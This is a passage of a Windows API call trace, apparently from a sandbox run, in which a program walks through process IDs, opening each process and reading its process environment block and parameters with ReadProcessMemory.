dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0212.490] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0212.688] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdd0) returned 0x458 [0212.688] GetLastError () returned 0x0 [0212.688] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0212.688] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3eb018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0212.689] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0212.689] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5e1cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0212.689] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5e18f8, lpBuffer=0x670ffc3f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0212.690] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0212.691] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0212.692] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3eb020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0212.692] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0212.692] malloc (_Size=0x60) returned 0x196ef0d0680 [0212.692] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5e1950, lpBuffer=0x196ef0d0680, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0212.693] free (_Block=0x196ef0d0680) [0212.694] CloseHandle (hObject=0x458) returned 1 [0212.694] _ui64tow_s (in: _Value=0xde0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3552") returned 0x0 [0212.699] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3552") returned 4 [0212.700] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0212.700] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0213.177] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde0) returned 0x458 [0213.177] GetLastError () returned 0x0 [0213.178] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0213.178] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2e1018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0213.178] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0213.178] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4c1cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0213.178] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4c18f8, lpBuffer=0x670ffc3f0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0213.179] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0213.181] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0213.181] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2e1020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0213.181] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4c12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0213.181] malloc (_Size=0x74) returned 0x196ef0d31b0 [0213.182] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4c1964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0213.182] free (_Block=0x196ef0d31b0) [0213.183] CloseHandle (hObject=0x458) returned 1 [0213.184] _ui64tow_s (in: _Value=0xde8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0213.188] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3560") returned 4 [0213.190] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0213.190] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0213.208] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x458 [0213.208] GetLastError () returned 0x0 [0213.208] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0213.208] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x56f018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0213.208] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0213.209] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x221d10, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0213.209] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2218f8, lpBuffer=0x670ffc3f0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0213.210] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0213.211] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0213.211] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x56f020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0213.212] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2212e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0213.212] malloc (_Size=0x80) returned 0x196ef0d4e70 [0213.212] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x221970, lpBuffer=0x196ef0d4e70, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0213.213] free (_Block=0x196ef0d4e70) [0213.214] CloseHandle (hObject=0x458) returned 1 [0213.214] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0213.219] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3576") returned 4 [0213.220] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0213.220] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0213.421] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x458 [0213.421] GetLastError () returned 0x0 [0213.422] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0213.422] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x359018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0213.422] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0213.422] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x531d40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0213.422] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5318f8, lpBuffer=0x670ffc3f0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0213.423] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0213.425] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0213.425] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x359020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0213.425] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5312e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0213.425] malloc (_Size=0x8c) returned 0x196ef0d53c0 [0213.425] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x53197c, lpBuffer=0x196ef0d53c0, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d53c0*, lpNumberOfBytesRead=0x0) returned 1 [0213.426] free (_Block=0x196ef0d53c0) [0213.426] CloseHandle (hObject=0x458) returned 1 [0213.427] _ui64tow_s (in: _Value=0xe00, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3584") returned 0x0 [0213.431] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3584") returned 4 [0213.433] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0213.433] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0213.450] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe00) returned 0x458 [0213.450] GetLastError () returned 0x0 [0213.451] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0213.451] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x212018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0213.451] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0213.451] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x591cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0213.452] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5918f8, lpBuffer=0x670ffc3f0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0213.576] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0213.578] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0213.578] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x212020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0213.578] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0213.578] malloc (_Size=0x72) returned 0x196ef0d31b0 [0213.579] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x591962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0213.579] free (_Block=0x196ef0d31b0) [0213.580] CloseHandle (hObject=0x458) returned 1 [0213.581] _ui64tow_s (in: _Value=0xe10, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0213.585] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3600") returned 4 [0213.586] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0213.586] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0213.603] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x458 [0213.603] GetLastError () returned 0x0 [0213.604] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0213.604] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x302018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0213.604] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0213.604] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x191cc0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0213.605] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1918f8, lpBuffer=0x670ffc3f0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0213.606] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0213.607] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0213.607] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x302020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0213.607] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0213.607] malloc (_Size=0x64) returned 0x196ef0d0370 [0213.607] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x191954, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0213.608] free (_Block=0x196ef0d0370) [0213.790] CloseHandle (hObject=0x458) returned 1 [0213.790] _ui64tow_s (in: _Value=0xe18, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3608") returned 0x0 [0213.797] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3608") returned 4 [0213.799] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0213.799] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0213.816] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe18) returned 0x458 [0213.816] GetLastError () returned 0x0 [0213.817] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0213.817] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x36b018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0213.817] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0213.817] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x451d80, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0213.817] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4518f8, lpBuffer=0x670ffc3f0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0213.818] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0213.819] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0213.820] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x36b020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0213.820] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4512e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0213.820] malloc (_Size=0xa2) returned 0x196ef0fa9a0 [0213.820] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x451992, lpBuffer=0x196ef0fa9a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa9a0*, lpNumberOfBytesRead=0x0) returned 1 [0213.820] free (_Block=0x196ef0fa9a0) [0213.821] CloseHandle (hObject=0x458) returned 1 [0213.822] _ui64tow_s (in: _Value=0xe28, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0213.826] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3624") returned 4 [0213.995] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0213.995] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0214.064] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x458 [0214.064] GetLastError () returned 0x0 [0214.065] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0214.065] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x470018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0214.065] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0214.065] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f1d40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0214.065] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f18f8, lpBuffer=0x670ffc3f0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0214.066] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0214.068] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0214.068] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x470020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0214.068] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0214.068] malloc (_Size=0x8c) returned 0x196ef0d5e60 [0214.068] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f197c, lpBuffer=0x196ef0d5e60, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5e60*, lpNumberOfBytesRead=0x0) returned 1 [0214.069] free (_Block=0x196ef0d5e60) [0214.069] CloseHandle (hObject=0x458) returned 1 [0214.070] _ui64tow_s 